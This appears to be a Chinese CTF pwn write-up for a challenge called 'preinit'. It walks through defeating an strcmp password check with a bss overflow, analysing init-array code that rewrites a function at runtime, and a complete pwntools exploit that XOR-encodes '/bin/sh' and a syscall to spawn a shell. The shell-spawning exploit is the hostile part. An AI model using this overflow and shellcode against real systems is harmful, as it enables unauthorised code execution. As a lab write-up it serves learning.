查看保護:
查看ida:
這邊其實看反匯編沒啥大作用,需要自己動調。
但是前面的繞過strcmp還是要看一下的。
解題:
這里是用linux自帶的產生隨機數的文件urandom來產生一個隨機密碼,然后讓我們輸入密碼,用strcmp檢查password是否與checkpass一樣。我們可輸入的字節數為0x110。
這里可以看出來我們的輸入其實是存到bss段里了,而password距離checkpass也就0x100,所以我們的輸入是可以覆蓋checkpass的。
但是全題就這一個輸入的地方,所以要考慮很多才能寫好payload。
輸入完之后進入level
這里會把我們的輸入存入s中,在check中進行異或操作,再進入level2。
ida沒什么好講的,動調才是重點。
首先,你在level2打斷點進如level2了之后就會發現這里跟ida匯編里是不一樣的。
ida里面是這樣的
完全不一樣
這里是因為程序對level2進行了修改,所以我們即使在靜態調試看機器碼也看不出來,只有動調才能知道level2被修改了。
問題就出在初始化那里
他這里自己自定義了一個初始化數組
對level2是又一定影響的,而且這里還用了花指令,從地址紅色可以看出這些地方解析有爭議。
事實上,其實我們用不著去了解為啥level2被改,也用不著在ida里把level2給改回來(在ida里修改機器碼是影響不了elf文件的,只是為了分析),直接看動調就行了,動調是啥就是啥。
但既然有這個點就說一下。
我們先看動調出來的
對機器碼敏感的應該很快就可以看出來,\x57對應push di,而\x56對應push si,后面的也可以對應得上(這里是人為注入機器碼形成花指令,有些數據是干擾的),那就是題目引導你去把這里的機器碼改進level2中。
然后排除干擾數據修改level2
import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:idaapi.put_qword(addr,i)addr+=8
說了那么多,感覺都不如直接看動調來得容易,畢竟比賽的時候太難想到了。
在執行jmp rbx之前,無論輸入啥,在大多數情況下rdi里面會儲存我們輸入的字符串的開頭,rsi為0,rdx為0,rax為輸出的字節數,rip為rdi+8并可以控制,如果此時我們令rdi為/bin/sh,rip為syscall就可以進行系統調用execve。這樣就出了。
完整exp:
from pwn import*
context(log_level='debug')
p=process('./preinit')list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是調用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()
補充點1:
在我們調試的時候可能會認為程序卡住了,比如下圖
其實這是因為rep stosb的原因,準確的說是rep,他會根據cx寄存器里的值進行重復操作,比如這里是rcx=0x50,他就會進行0x50次操作,重復完之后會接著進行下一步。
補充點2:
像剛剛的操作在ida沒法修改elf文件的機器碼
補充點3:
在修改level2的時候可能會遇到這種情況
那就鼠標選中要重新分析的范圍
按c重新分析
就可以了